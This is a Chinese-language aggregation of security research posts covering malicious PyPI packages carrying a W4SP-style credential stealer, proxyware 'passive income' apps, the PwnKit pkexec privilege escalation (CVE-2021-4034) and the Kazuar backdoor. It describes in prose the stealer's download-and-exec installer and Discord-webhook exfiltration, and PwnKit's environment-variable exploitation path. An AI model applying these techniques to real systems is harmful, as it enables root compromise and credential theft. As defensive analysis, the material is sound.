一旦REvil配置被解密，它將使用相同的JSON格式，但包含額外的值，如pid、sub、fast、wipe和dmn。這些值表示REvil示例中的附加功能，這可能意味著要么是Ransom Cartel的開發人員刪除了某些功能，要么是他們在REvil的較早版本之上構建。

HireHackking

微信截图_20230716105524.png

今年3月，Unit 42的研究人員在Python Package Index(PyPI)包管理器上發現了6個惡意包。惡意軟件包旨在竊取Windows用戶的應用程序憑據、個人數據和加密錢包的跟踪信息。該攻擊試圖模仿攻擊組織W4SP，該組織此前曾使用惡意軟件包發起過幾次供應鏈攻擊。

研究人員將討論攻擊者在開源生態系統中使用惡意包傳播惡意代碼的難易程度，他們觀察到的行為並不是由攻擊組織策劃的有組織的攻擊，而很可能是一個模仿者閱讀了以前攻擊的技術報告來執行他們自己的攻擊。

研究人員將描述Palo Alto Networks Prisma Cloud模塊使用的指標，這些指標識別了本文討論的惡意軟件包。 Palo Alto Networks的客戶可以通過Prisma Cloud獲得包含惡意代碼的開源軟件包的保護。

惡意軟件包是故意設計用於對計算機系統或其處理的數據造成損害的軟件組件。此類軟件包可以通過各種方式傳播，包括釣魚電子郵件、被攻擊的網站甚至合法的軟件存儲庫。

惡意軟件包可能會產生很大的破壞力，包括偷偷竊取敏感數據到導致系統中斷，甚至控制整個系統。此外，這些惡意軟件包具有傳播到其他互聯繫統的能力。因此，在進行軟件下載和安裝時，尤其是在源代碼不熟悉或不受信任的情況下，務必格外小心。

通過保持警惕和洞察力，用戶可以保護他們的系統，並防止攻擊者滲透到他們的技術環境。

在PyPI中發現新的惡意包2023年3月，Prisma Cloud研究人員在PyPI軟件包管理器上發現了6個針對Windows用戶的惡意軟件包。惡意軟件包旨在竊取應用程序憑據、個人數據和加密貨幣錢包信息。

研究人員的Prisma Cloud引擎，旨在檢測惡意PyPI包，發現幾個在短時間內上傳的具有可疑屬性的包：

這些軟件包缺少相關的GitHub存儲庫，它通常與合法軟件包一起使用。這可能表明希望從視圖中隱藏代碼。另外，再加上有限的下載量，進一步引起了研究人員的懷疑；

在執行時，這些包執行惡意操作，例如收集敏感數據並將其發送到第三方URL；

這些包包含一個惡意代碼模式，目前已檢測到了它；

因為包的開發者是新創建的，只上傳了一個包，並且沒有提供支持信息，例如到其他項目或任何存儲庫的鏈接，所以他們不被認為是有信譽的；

最後，包開發者的用戶名是在幾分鐘內創建的，遵循一個獨特的模式（例如，Anne1337、Richard1337），每個用戶名只上傳了一個包。

第二階段的攻擊與我們之前看到的W4SP攻擊群的攻擊相似。該組織專門利用開源生態系統中的漏洞，針對組織和傳播惡意軟件。他們的主要目標是獲得對敏感信息（如用戶憑據和財務數據）的未經授權的訪問權限。他們經常使用自動化工具來掃描漏洞並試圖利用它們。除了傳統攻擊外，W4SP攻擊者還執行供應鏈攻擊。

檢測結果Prisma Cloud引擎檢測到被標記為可能包含惡意代碼的包。每個包都包含一個指向可疑遠程URL的鏈接，試圖在單個用戶單獨上傳後下載內容。

每個上傳包的用戶的用戶名都是在上傳前創建的，之前沒有任何上傳包的歷史記錄。每個包都有數百次下載，直到研究人員的研究團隊報告了濫用行為，PyPI才將它們和上傳它們的欺詐性用戶帳戶刪除。

研究人員分析了代碼並試圖找到開發者。研究人員在每個包開發者的用戶名中發現了一個模式，他們使用“1337”作為後綴，這表明某些自動過程創建了這些用戶，下圖1顯示了其中一個用戶名的開發者頁面。

1.png

惡意包

2.png

PyPI的開發者頁面

自定義包入口點這次攻擊類似於研究人員之前看到的W4SP攻擊組織的攻擊，此文詳細介紹了這一攻擊。這些相似之處讓研究人員相信這是一次模仿。

但此次攻擊沒有真正的W4SP攻擊那麼複雜，例如：

沒有針對任何組織；

惡意軟件包沒有像W4SP攻擊所預期的那樣，使用常見流行軟件包的輸入錯誤；

第二階段的攻擊沒有加密，在來自W4SP的真正攻擊中，這個階段是加密的，這使得檢測更加困難；

W4SP在以前的攻擊中使用的大部分代碼已經可以下載，因此可以很容易地訪問和重新利用；

在之前的攻擊中，W4SP 竊取程序作為從免費文件託管服務下載的第二階段有效載荷傳播，這使得攻擊者可以避免在包存儲庫中進行檢測。

這些包沒有包含明顯的惡意代碼，而是精心設計的，以具有在安裝或執行過程中觸發的特定入口點。通過利用免費文件託管服務和自定義入口點，攻擊者的目標是不被發現，這對負責檢測和防禦此類攻擊的安全專業人員和研究人員構成了重大挑戰。

這些攻擊很容易實現，並且可以在幾乎沒有安全專業知識的情況下發起。但是，它們可能非常有效，因為安裝過程會自動執行攻擊，而不是在使用導入模塊時需要攻擊者發起攻擊。

當軟件開發人員想要使用Python包時，他們必須執行兩個操作。第一個步是安裝包，第二個步是在代碼中導入或聲明以使用它。正如接下來討論的那樣，攻擊代碼實際上是從安裝文件(setup.py)中開始的，這意味著在安裝包期間已經執行了攻擊。

在研究人員調查的示例中，攻擊者稱自己為@EVIL$竊取程序。然而，該名稱隨著每次攻擊而改變。以下是代碼簽名中的名稱集合：

ANGEL竊取程序

Celestial竊取程序

Fade竊取程序

Leaf $tealer

PURE竊取程序

Satan竊取程序

@skid 竊取程序

惡意代碼setup.py文件在所有包中都是相同的，並且包含以下代碼片段，用於在執行之前從遠程URL下載內容：

3.png

Setup.py（第一階段）惡意代碼

上圖顯示了以下活動：

1.攻擊者使用_ffile對象創建臨時文件，並使用write方法寫入文件的內容，使用帶有NamedTemporaryFile函數的臨時文件是一種眾所周知的技術，可以隱藏惡意代碼，使其不被殺毒軟件或其他安全措施檢測到；

2.文件的內容是通過使用urlopen函數從urllib下載URL的內容獲得的。請求模塊，然後使用exec函數執行文件的內容；

3.在寫完臨時文件的內容後，將關閉該文件，並嘗試在系統shell中使用start命令執行它。如果成功，將調用setup函數來創建包。然後攻擊者使用start命令啟動Python引擎的可執行文件(pythonw.exe)，之後這個可執行文件將執行作為參數傳遞的腳本文件。由於該惡意軟件包針對Windows用戶，如果腳本文件未簽名，則不會受到SmartScreen (Windows安全功能，用於檢測和防止潛在惡意文件的執行)或簽名檢查的影響。這意味著它將在目標計算機上執行惡意代碼，即使目標計算機啟用了SmartScreen和簽名檢查。

第二階段：W4SP竊取程序根據研究人員的研究，在第二階段，攻擊者使用了配置版本的W4SP竊取程序1.1.6。這個版本類似於以前的版本，其中代碼導入了幾個庫，包括requests, Crypto.Cipher, json和sqlite3。然後，它使用各種技術提取和解密存儲的瀏覽器憑據，包括密碼和cookie，並將這些信息發送到Discordwebhook。

代碼的主體定義了一個類DATA_BLOB，用於存儲CryptUnprotectData函數的數據。此函數用於解密受Windows數據保護API（DPAPI）保護的值，該值用於存儲密碼和API密鑰等敏感數據。代碼嘗試使用CryptUnprotectData和DecryptValue函數解密一個值，然後通過Discord webhook將其發送到遠程服務器，如下圖所示。

4.png

嘗試解密Windows數據保護API（DPAPI）保護的值

下圖顯示了攻擊者試圖收集受害者信息的幾個惡意代碼示例。如下圖所示，攻擊者試圖收集受害者的信息，包括IP地址、用戶名、國家/地區代碼。

5.png

檢索有關用戶IP地址、位置和用戶名等信息的代碼

在下圖中，攻擊者與Discord API交互，以檢索用戶的好友列表並提取有關他們自己的標識信息。

6.png

用於在Discord上檢索用戶好友列表的代碼

在稍後的代碼中，他們嘗試使用事先準備好的Discord webhook，然後嘗試通過HTTP請求將受害者信息發送到相關的Discord通道。

7.png

Discord webhook

最後，如下圖所示，攻擊者試圖驗證受害者的設備是否適合執行攻擊。如果確定該設備是合適的，則DETECTED變量將被設置為true，並且來自受害者設備的信息將被發送到遠程服務器。

8.png

搜索Cookie的代碼

PyPI作為一個上傳惡意軟件包的便捷平台PyPI是一個備受信賴且廣受歡迎的存儲庫，擁有數量驚人的Python包，在PyPI領域內，出現了一個令人擔憂的現實。該存儲庫無與倫比的受歡迎程度無意中成了攻擊者使用的對象，他們試圖通過秘密傳播惡意軟件包來利用其龐大的用戶群。

這種令人不安的趨勢對安全提出了一個重大挑戰，因為PyPI的去中心化性質使監測和檢測這些惡意對象成為一項艱鉅的工作。成為此類惡意軟件包受害者的後果會對毫無戒心的用戶和企業造成嚴重後果，例如數據、憑證或加密被盜。因此，加強PyPI包的安全性是至關重要的。

PyPI於2023年5月20日宣布，由於平台上惡意活動，惡意用戶和項目的增加，他們暫時停止註冊和上傳新軟件包。

凍結新用戶和項目註冊的決定反映了像PyPI這樣的軟件註冊中心面臨的安全挑戰，因為它們已經成為尋求篡改軟件供應鏈攻擊者的目標。

總結開源軟件的興起和普及以及包管理器的激增，使攻擊者比以往任何時候都更容易將這些危險的包植入用戶的系統。隨著軟件在我們日常生活中越來越普遍，惡意軟件包的威脅變得更加嚴重。攻擊者可以將這些軟件包偽裝成合法軟件，並利用毫無戒心的系統中的漏洞，造成數據盜竊、系統關閉和網絡控制等重大損害。

為了防禦這種威脅，軟件開發人員和組織必須在開發過程中優先考慮軟件安全性。增加了安全措施，例如代碼審查、自動化測試和滲透測試，可以幫助在部署之前識別和修復漏洞。此外，保持最新的安全補丁和更新可以防止攻擊者利用已知的漏洞。

除了技術措施外，提高對軟件安全的認識和教育也有助於防禦惡意軟件包的風險。為開發人員、IT人員和最終用戶提供關於最佳安全實踐的定期培訓很有必要。安全專業人員、開發人員和用戶共同努力以確保識別並防止惡意軟件包對系統和網絡造成損害。

HireHackking

為了竊取用戶網絡，攻擊者會誘導用戶安裝proxyware程序，該程序會將設備的可用互聯網帶寬分配為代理服務器，這樣攻擊者可以將其用於各種任務，如測試、情報收集、內容分發或市場研究。

作為共享網絡的回報，安裝proxyware程序的用戶可以從向客戶收取的費用中獲得抽成。例如，Peer2Profit服務顯示，用戶通過在數千台設備上安裝該公司的程序，每月最高可以賺到6000美元。

趨勢科技的研究人員最近分析了幾個著名的“被動收入”應用程序，發現這些程序可能存在安全風險。所謂被動收入(Passive Income)，就是不需要花費多少時間和精力，也不需要照看，就可以自動獲得的收入。說白了就是不勞而獲，躺著賺錢！

網上有很多教人們如何通過共享閒置的計算能力或未使用的網絡帶寬來獲得“被動收入”。當用戶在他們的計算機上安裝這樣的程序時，不管願不願意，系統就會成為分佈式網絡的代理。這個分佈式網絡的運營商可以通過向其付費客戶銷售代理服務來賺錢。

儘管託管“被動收入”程序的網站會強調合法其自身的合法性，但我們發現此類程序可能會給下載者帶來安全風險。這是因為這些代理服務的一些付費客戶可能將其用於不道德甚至非法的目的。

在本文中，我們研究了幾個著名的“被動收入”應用程序，這些應用程序將會把它們的計算機變成住宅IP代理，這些代理被賣給客戶，用作“住宅IP代理”。這些應用程序通常通過推薦程序進行推廣，目前許多著名的YouTube和博客都在推廣他們。

我們還調查了將“被動收入”應用程序與第三方庫捆綁在一起的可疑開發商。這意味著並下載者不知道“被動收入”應用程序，而這些收入實際上都流向了開發者。這意味著，用戶無法控制使用其家庭/移動IP地址執行的活動。

通過共享未使用的帶寬就可以輕鬆在線賺錢？在博客和YouTube網站上有很多帖子教人們如何通過簡單的教程獲得“被動收入”。這些教程的開發者通常通過推薦來賺錢，並同時推廣幾個“被動收入”應用程序。

使用“網絡帶寬共享”盈利方案的公司包括HoneyGain、TraffMonitizer、Peer2Profit、PacketStream和IPRoyal Pawns等。這些公司為用戶提供了一種通過下載和運行他們的程序代理來被動地在線賺錢的方式。通常情況下，用戶將分享他們的連接並獲得積分，這些積分之後可以轉換成實際的貨幣。

1.png

公司通過共享網絡來宣傳被動收入

尋求收入的人將下載該程序來分享他們的帶寬並賺錢，但這些公司將帶寬賣給需要住宅代理服務的客戶。該公司網站列出了一些人們可能需要代理服務的原因：人口統計研究、繞開賭博和淘便宜貨的地理限制，或者出於隱私原因，等等。

這些公司很容易找到，在谷歌上簡單搜索“被動收入未使用帶寬”，立即產生IPRoyal Pawns, Honeygain, PacketStream, Peer2Profit, EarnApp和Traffmonetizer等名稱。一些人在論壇和討論區甚至建議同時安裝多個應用程序來賺更多的錢，或者運行多個虛擬機來增加潛在的利潤。

2.png

Quora上關於如何增加被動收入的帖子

與普通用戶相比，共享帶寬在被動收入中所佔的比例可能還不是最大的。根據一個博主分享的文章，推薦在博主收入中所佔的比例甚至更大(在這個圖表中超過50%)。

3.png

從被動收入、流量共享應用程序中獲得的收入佔比

儘管上圖中的數字顯而易見，但這位博主聲稱他每月大約賺20美元。但是用戶並不能保證能夠定期獲得如此低水平的收益。而且，作為這種不確定收入的交換，用戶被要求定期接受未知水平的風險。

劫持是怎麼發生的？這些“網絡帶寬共享”服務聲稱，用戶的互聯網連接將主要用於營銷研究或其他類似活動。因此，共享互聯網連接的人在網上賺錢的同時也成為了被營銷的對象。

4.png

使用帶寬共享聲明

但情況真如此嗎？為了檢查和了解潛在用戶加入此類程序可能面臨的風險，我們記錄並分析了來自幾個不同網絡帶寬共享服務的大量出口節點(出口節點是安裝了這些網絡帶寬共享服務的計算機)的網絡流量。

從2022年1月至9月，我們記錄了來自這些被動收入公司的出口節點的流量，並檢查了通過出口節點輸送的流量的性質。

首先，我們發現，來自其他應用程序合作夥伴的流量被輸送到我們的出口節點，並且大部分流量是合法的。我們看到了正常的流量，例如瀏覽新聞網站、收聽新聞流，甚至瀏覽在線購物網站。然而，我們也發現了一些可疑的聯繫。這些聯繫表明，一些用戶在某些國家從事可疑或可能非法的活動。

可疑活動的摘要如下表所示。我們根據相似性來組織這些活動，並指出我們觀察到這些活動的代理網絡。

5.png

在大多數情況下，應用程序發布者可能不會對使用其代理服務的第三方的可疑或惡意活動承擔法律責任。然而，那些安裝了“網絡帶寬共享”應用程序的人無法控制甚至監控通過其出口節點的流量類型。因此，這些網絡共享應用程序被歸類為風險程序應用程序，我們稱之為proxyware。

proxyware的可疑活動上表概述了我們觀察到的惡意和可疑活動，本節將進一步詳細介紹這些活動。

我們觀察到多個自動訪問第三方SMS PVA提供商的實例。什麼是SMS PVA服務？我們寫了一篇關於SMS PVA服務以及它們經常被錯誤使用的博客。 SMS PVA 服務是基於遍布各個國家的數千部被入侵的智能手機。有了這項服務,SMS PVA 用戶可以精確地註冊國家一級的賬戶,因此可以使用假裝來自目標國家的虛假賬戶發起活動。簡而言之，這些服務通常用於在線服務中的批量註冊帳戶。為什麼人們經常將它們與代理結合使用？這些帳戶通常綁定到特定的地理位置或地區，並且該位置或地區必須與註冊過程中使用的電話號碼相匹配。因此，SMS PVA服務的用戶希望他們的出口IP地址與號碼的位置相匹配，並且有時使用特定的服務（在服務僅在特定區域可訪問的情況下）。

這些大量註冊的賬戶（由住宅代理和SMS PVA服務提供幫助）通常被用於各種可疑的操作：針對個人用戶的社會工程和欺詐，以及濫用各種在線業務的註冊和促銷活動，可能導致數千美元的經濟損失。

潛在的點擊欺詐是我們從這些網絡中觀察到的另一種類型的活動。做點擊欺詐或靜默廣告網站，就是利用裝有“被動收入”程序的電腦作為出口節點，在後台“點擊”廣告。廣告商必須為無效點擊付費(沒有人真正看到廣告)，網絡流量看起來幾乎與普通用戶在家點擊廣告相同。

SQL注入是一種常見的安全掃描，它試圖利用用戶輸入驗證漏洞來轉儲、刪除或修改數據庫內容。有許多工具可以自動執行此任務。然而，在許多國家，未經適當授權進行安全掃描和未經網站所有者書面許可進行SQL注入掃描都是犯罪活動，可能會被起訴。我們觀察到許多試圖從許多“被動收入”程序中探測SQL注入漏洞的嘗試。這種流量是有風險的，分享他們的連接的用戶可能會被捲入法律調查。

我們觀察到的另一組具有類似風險的類似活動是工具掃描。這些掃描試圖利用各種漏洞訪問/etc/passwd文件，如果成功，則表明系統易受任意文件暴露的攻擊，並允許攻擊者獲取服務器上的密碼文件。黑客利用此類程序漏洞從易受攻擊的網站檢索任意文件。不用說，在沒有服務器所有者的書面許可的情況下進行此類活動是非法的。

爬取政府網站可能根本不違法，通常存在一些合理使用條款，要求用戶不要同時提出過多的查詢，許多網站通過使用驗證碼服務來使用技術手段來防止大量爬行。我們觀察到使用反驗證碼工具的自動化工具在試圖訪問政府網站時繞過這些限制。我們也見過從律師事務所和法院網站抓取法律文件的爬蟲程序。

對個人身份信息（PII）的抓取在所有國家都可能是非法的，但這種行為值得懷疑，因為我們不知道這些信息後來會被濫用。在研究中，我們看到一個可疑的爬蟲大量下載巴西公民的信息。這些信息包括姓名、出生日期、性別和CPF（相當於國家SSN）。顯然，如果對此類活動進行調查，“被動收入”程序用戶將是第一個接觸點，因為登錄這些網站的將是他們的IP地址。

註冊了大量社交媒體賬號的人可以將其用於多種用途，例如網絡垃圾郵件、詐騙活動以及傳播錯誤信息和宣傳假新聞的木馬。此類賬戶也經常被用來對商品和服務進行虛假評價。在收集的流量中，我們看到TikTok賬戶註冊了非常規電子郵件地址。儘管這本身並不違法，但安裝了“被動收入”程序的用戶可能會被要求證明自己的身份，或者在正常瀏覽活動中通過更多的“驗證你是人類”測試。這是因為有太多來自其家庭IP的註冊帳戶，他們可能被誤認為與這些活動有關聯。

如果你認為這些例子沒有說服力，那麼在2017年，一名俄羅斯公民被逮捕並被指控恐怖主義。此人正在運行Tor出口節點，有人利用它在反政府抗議期間發布支持暴力的信息。 Proxyware類似於Tor出口節點，因為兩者都將流量從一個用戶引導到另一個用戶。這個例子說明瞭如果你不知道使用你的計算機作為出口節點的人在做什麼，你會給自己帶來多大的麻煩。

其他未經用戶同意運行的proxyware變體在研究過程中，我們還發現了一組多餘的應用程序，它們是作為自由程序工具分發的。然而，在我們看來，這些應用程序正在秘密地將用戶的設備轉變為代理節點。這些應用程序似乎在設備上安裝了Proxyware功能，比如Globalhop SDK，但沒有明確通知用戶他們的設備將被用作被動出口節點。一些最終用戶許可協議(EULA)文件可能會明確提到包含Globalhop SDK或應用程序的出口節點功能，而其他文件則沒有。但是，在我們看來，僅在eula(很少有用戶會閱讀的文件)中包含通知並不能向用戶提供公平的通知，即安裝應用程序將導致未知第三方使用他們的設備作為出口節點。

6.png

剪貼板管理器的EULA告訴用戶它包含具有“代理利用功能”的SDK，並且用戶同意“共享部分互聯網”。

無論哪種情況，此類程序仍然會給用戶帶來風險，“被動收入”只會支付給應用程序開發者。程序用戶只能享受免費程序本身而沒有“被動收入”。此類程序的例子包括：

Walliant——一款自動壁紙更換程序；

Decacopy剪貼板管理程序——一個用於存儲用戶最近複製粘貼的內容的程序；

EasyAsVPN——通常由欺騙用戶安裝的額外程序；

Taskbar System——一個改變任務欄顏色的應用程序；

Relevant Knowledge——廣告程序；

RestMinder——一個提醒用戶休息的鬧鐘程序；

Viewndow——固定選定應用程序窗口的程序；

Saferternet——基於DNS的網絡過濾程序。

這些代理網絡產生的網絡流量類似於“被動收入”程序產生的流量，因為這兩種類型的程序都是其提供商的出口節點。我們觀察到以下惡意/有爭議的活動。

7.png

總結我們在本文中介紹了藉著“網絡帶寬共享”的幌子實施“被動收入”程序如何使用其安裝基地的住宅IP作為出口節點，以及惡意和可疑網絡流量可能給用戶帶來的風險。

通過允許匿名人員將你的計算機用作出口節點，如果他們執行非法、濫用或與攻擊相關的操作，你將承擔最大的風險。這就是為什麼我們不建議參加這樣的計劃。

“被動收入”提供商可能製定了某些自我約束的政策，但我們沒有看到任何證據表明這些提供商對路由到出口節點的流量進行監管。如果他們這樣做了，那麼我們看到的非常明顯的SQL注入流量應該已經被過濾掉了。如果這些提供商希望改進其策略，我們建議他們更加坦率地向程序用戶表明，因為他們沒權利控制其客戶的行為。

有一些措施可以確保攻擊和濫用受到限制，例如嚴格執行流量掃描、證書測試和其他技術，但執行這些策略是關鍵。我們就這些問題聯繫過的一些應用發行商回應稱，他們通過應用合作夥伴的KYC (know-your-customer)實踐來保護用戶。這提供了一些保護，防止濫用作為出口節點的設備，然而，這些政策可以被偽造，或者客戶可以找到規避它們的方法。

總而言之，這些應用程序的潛在用戶，特別是在proxyware服務的當前實現下，需要意識到他們正在將自己暴露在未知的風險中，以換取不確定和可能不穩定的潛在“被動收入”。以下是一些防範上述風險的安全措施：

1.了解“被動收入”程序的風險，並考慮將其從筆記本電腦、台式機和移動設備中刪除。

2.建議公司IT員工檢查並刪除公司計算機中的“被動收入”程序。

3.安裝專業保護套件，因為這些產品已將本文中列出的應用程序列為Riskware。這些產品還阻止“被動收入”應用程序下載惡意應用程序。

HireHackking

Qualys研究團隊在polkit的pkexec中發現了一個內存破壞漏洞，pkexec是一個SUID-root程序，默認安裝在每個主要的Linux發行版上。這個容易被利用的漏洞允許任何沒有相關權限的用戶通過利用默認配置中的這個漏洞獲得脆弱主機上的完全根權限。

關於Polkit pkexec for LinuxPolkit(以前是PolicyKit)是一個用於控制類unix操作系統中的系統權限的組件。它為非權限進程提供了一種有組織的方式來與權限進程進行通信。還可以使用polkit來執行具有更高權限的命令，使用命令pkexec，後面跟著要執行的命令(具有根權限)。

PwnKit漏洞的潛在影響如果有人成功利用該漏洞，任何非權限用戶都可以獲得該漏洞主機上的root權限。 Qualys的安全研究人員已經能夠獨立驗證該漏洞，並利用該漏洞，進而獲得Ubuntu、Debian、Fedora和CentOS默認安裝的全部root權限。其他Linux 發行版可能容易受到攻擊並且可能被利用。這個漏洞已經隱藏了12 年多，並影響自2009 年5 月第一個版本以來的所有pkexec 版本(commit c8c3d83, “Add a pkexec(1) command”)。

在我們的研究團隊確認該漏洞後，Qualys負責漏洞的披露，並與供應商和開源發行方協調，公佈了該漏洞。

潛在漏洞利用路徑的視頻可以點此查看。 （https://player.vimeo.com/video/669715589）

另外可以查看本視頻（https://player.vimeo.com/video/670582239），了解如何使用Qualys VMDR查看PwnKit漏洞。

PwnKit漏洞的技術細節介紹pkexec的main()函數的開頭處理命令行參數(第534-568行)，如果它的路徑不是絕對的，則在path環境變量的目錄中搜索要執行的程序(第610-640行)：

1.png

不幸的是，如果命令行參數argc的數量是0，這意味著如果我們傳遞給execve()的參數列表argv是空的，即{NULL}，那麼argv[0]就是NULL。這是參數列表的終止符。所以：

在第534行，整數n被永久地設置為1；

在第610行，從argv[1]越界讀取指針路徑；

在第639行，指針s被越界寫入argv[1]；

但是，這個越界的argv[1]到底要讀寫什麼呢？

要回答這個問題，我們必須稍微離題一下。當execve()一個新程序時，內核將我們的參數、環境字符串和指針(argv和envp)複製到新程序堆棧的末尾，例如：

2.png

顯然，因為argv和envp指針在內存中是連續的，如果argc是0，那麼越界的argv[1]實際上是envp[0]，指向我們的第一個環境變量value的指針。結果：

在第610 行，要執行的程序的路徑從argv[1]（即envp[0]）越界讀取，並指向“value”；

在第632 行，這個路徑“value”被傳遞給g_find_program_in_path()（因為“value”在第629行不是以斜杠開頭的）；

然後，g_find_program_in_path() 在我們的PATH 環境變量的目錄中搜索一個名為“value”的可執行文件；

如果找到這樣的可執行文件，則將其完整路徑返回給pkexec 的main() 函數（在第632 行）；

最後，在第639 行，這個完整路徑被越界寫入argv[1]（即envp[0]），從而覆蓋了我們的第一個環境變量。

所以，更準確地說：

如果我們的PATH環境變量是' PATH=name '，並且目錄' name '存在(在當前工作目錄中)並且包含一個名為' value '的可執行文件，那麼一個指向字符串' name/value '的指針將被寫入envp[0]。

如果我們的PATH 是“PATH=name=.”，並且目錄是“name=.”存在並包含一個名為“value”的可執行文件，然後將指向字符串“name=./value”的指針越界寫入envp[0]。

換句話說，這種越界寫入允許我們將“不安全的”環境變量(例如，LD_PRELOAD)重新引入到pkexec的環境中。在調用main()函數之前，這些“不安全的”變量通常會(通過ld.so)從SUID程序的環境中刪除。我們將在下一節中使用這個強大的原語。

不過要注意的是，polkit也支持非linux操作系統，如Solaris和*BSD，但我們尚未調查它們的可利用性。然而，我們注意到OpenBSD是不可利用的，因為如果argc為0，它的內核拒絕execve()一個程序。

如何修復PwnKit漏洞考慮到該漏洞在Linux和非Linux操作系統中的攻擊範圍，Qualys建議用戶立即更新此應用。

目前Qualys客戶可以搜索CVE-2021-4034的相關新聞，以識別該漏洞的所有QID 和設備。

現在可以開始免費的Qualys VMDR 試用，以獲得對CVE-2021-4034 的QID（檢測）的完全訪問權限，其中可以識別所有易受攻擊的設備。

Qualys研究團隊在polkit的pkexec中發現了一個內存破壞漏洞，pkexec是一個SUID-root程序，默認安裝在每個主要的Linux發行版上。這個容易被利用的漏洞允許任何沒有權限的用戶通過利用默認配置中的這個漏洞獲得脆弱主機上的完全根權限。

關於Linux的Polkit pkexecQualys QID 覆蓋範圍Qualys 將發布下表中的QID，因為它們從vulnsigs 版本VULNSIGS-2.5.387-2 和Linux 雲代理清單版本lx_manifest-2.5.387.2-1 開始可用。

3.png

使用Qualys VMDR 發現易受攻擊的Linux 服務器

識別運行Linux 內核的設備接下來會介紹當前Qualys 客戶如何在他們的環境中檢測PwnKit。

管理這一關鍵漏洞和降低風險的第一步是識別運行Linux操作系統的所有設備。 Qualys VMDR使得識別此類設備變得很容易。

Query: operatingSystem.category1:`Linux`

4.jpg

一旦主機被識別出來，就可以將它們與“動態標籤”組合在一起，比如說：“Linux 服務器”。這有助於自動對具有上述漏洞的現有主機以及在你的環境中啟動的任何新Linux 設備進行分組。標籤使得這些分組設備可以在整個Qualys雲平台上進行查詢、報告和管理。

基於RTI 的優先級使用Qualys VMDR，可以使用以下實時威脅指標(RTI) 確定PwnKit 漏洞的優先級：

Predicted_High_Risk

Privilege_Escalation

Easy_Exploit

High_Lateral_Movement

5.jpg

使用Qualys VMDR修復我們預計供應商將在短期內發布針對該漏洞的修復。當修復可用時，Qualys Patch Management可用於將這些修復部署到易受攻擊的設備中。

使用基於上述RTI 方法的相同優先級，客戶可以使用漏洞右側的“立即修復”按鈕將PwnKit 添加到修復作業中。一旦修復發布，Qualys將找到該漏洞的相關修復，並自動將這些修復添加到修復作業中。這將允許客戶將這些修復部署到易受攻擊的設備上，所有這些修復都來自Qualys雲平台。

使用威脅防護檢測受影響的設備VMDR還允許你使用威脅保護自動映射易受PwnKit漏洞攻擊的設備。

6.jpg

使用VMDR 儀表板跟踪漏洞使用VMDR 儀表板，你可以實時跟踪此漏洞、受影響的主機、狀態和整體管理。為儀表板小部件啟用趨勢分析後，你可以使用“PwnKit”儀表板跟踪環境中的這些漏洞發展趨勢。

7.jpg

利用Qualys XDR 識別漏洞利用嘗試Qualys XDR 客戶可以使用標題為“T1068 – Linux：檢測到Polkit pkexec 本地特權升級漏洞(CVE-2021-4034)”的規則名稱來檢測受影響系統上的利用後活動。啟用後，客戶還可以使用以下QQL 查詢搜索易受攻擊的系統：

eventName:”ThevaluefortheSHELLvariablewasnotfoundthe/etc/shellsfile“or“containssuspiciouscontent“客戶將能夠看到類似以下截圖的輸出:

8.jpg

常見問題哪些版本易受攻擊？從2009年開始的所有Polkit版本都很脆弱。

Qualys研究團隊是否會發布此漏洞的利用代碼？不會。但鑑於利用該漏洞非常容易，我們預計在本博客發布日期後的幾天內，公開的漏洞利用將變得可用。

是否有緩解措施？如果你的操作系統沒有可用的補丁，你可以從pkexec 中刪除SUID 位作為臨時緩解措施；例如：

#chmod0755/usr/bin/pkexec這個漏洞可以遠程利用嗎？不可以，但是如果攻擊者可以以任何非特權用戶身份登錄，則可以快速利用該漏洞來獲得root 特權。

能不能查到被攻擊的證據?是的，這種利用技術會在日誌中留下痕跡，比如“在/etc/SHELL文件中找不到SHELL變量的值”或者“環境變量的值[……]包含可疑內容”。但是，請注意，這個漏洞也可以被利用，不會在日誌中留下任何痕跡。

HireHackking

PA-Pensive-Ursa-Centre.jpg

在追踪Pensive Ursa(又名Turla, Uroburos)的迭代中，Unit 42的研究人員發現了Kazuar一個新的升級變體——一個先進而隱秘的.NET後門，Pensive Ursa通常將其用作第二級有效負載。

“Pensive Ursa”是一個總部位於俄羅斯的攻擊組織，至少從2004年開始活動，與俄羅斯聯邦安全局(FSB)有聯繫。

烏克蘭CERT在2023年7月報告說，這個版本的Kazuar是針對烏克蘭國防部門的，背後攻擊組織的目標是敏感數據，比如Signal消息、源代碼控制和雲平台數據。

自從Unit 42在2017年發現Kazuar以來，研究人員只在野外看到過幾次，主要針對歐洲政府和軍事部門的組織。由於代碼相似，Sunburst後門與Kazuar聯繫在一起，這表明了它非常複雜。自2020年底以來，研究人員沒有在野外看到新的Kazuar樣本，但有報導稱Kazuar正在不斷開發中。

正如Kazuar升級版的代碼所揭示的那樣，Kazuar的開發者正在增強器隱形操作能力，他們使用各種先進的反分析技術，並通過有效的加密和混淆實踐來保護惡意軟件代碼。

Kazuar概述Kazuar是一種先進的、隱秘的.NET後門，Pensive Ursa通常將其作為第二階段的有效負載，與攻擊組織通常使用的其他工具一起傳播。

最近烏克蘭CERT報告的活動揭示了Kazuar的多階段傳播機制，以及其他工具，如新的Capibar第一階段後門。研究人員對這個新版本的技術分析顯示，它的代碼結構和功能都有了顯著的改進。

這篇文章將詳細介紹以前未記錄的功能，包括：

全面的系統分析：廣泛的數據收集。

竊取雲和其他敏感應用程序的憑證：竊取雲應用程序帳戶、源代碼控制和信號消息傳遞應用程序。

擴展命令集：總共支持45個命令，從另一個Kazuar節點或命令和控制(C2)服務器接收。

增強的任務自動化：攻擊者可以打開/關閉的一系列自動化任務。

可變加密方案：不同加密算法和方案的實現。

注入模式：多種注入模式，允許Kazuar從不同的進程運行並執行不同的功能。

至少從2018年開始，Kazuar的變體改變了它們的混淆方法，一些變體使用ConfuserEx混淆器加密字符串，其他變體使用自定義方法。

本文分析的Kazuar變體實現了多個自定義字符串加密方法，與以前的變體不同，該變體只關注Windows操作系統。

在分析Kazuar的代碼時，研究人員使用dnSpy將代碼導出到集成開發環境(IDE)中，並使用自定義腳本解密字符串。這允許研究人員編輯單獨的.cs文件，並將一些方法名稱編輯成有意義的名稱。研究人員已經解釋了屏幕截圖中出現的方法名。

最新Kazuar變體的詳細技術分析元數據其他研究機構的報告顯示，至少從2018年開始，Kazuar的開發者就在操縱他們樣本的時間戳。這個新變體的編譯時間戳是星期四，2008年11月20日10:11:18 AM GMT。與其他公開可用的變體不同，這是開發者第一次回溯到2008年偽造時間戳。

Kazuar還包含代理版本和BuildID的硬編碼、哈希標識符以及代理標籤。這些可以用作變體標識符，如下圖所示。

1.png

Kazuar樣本基本配置信息

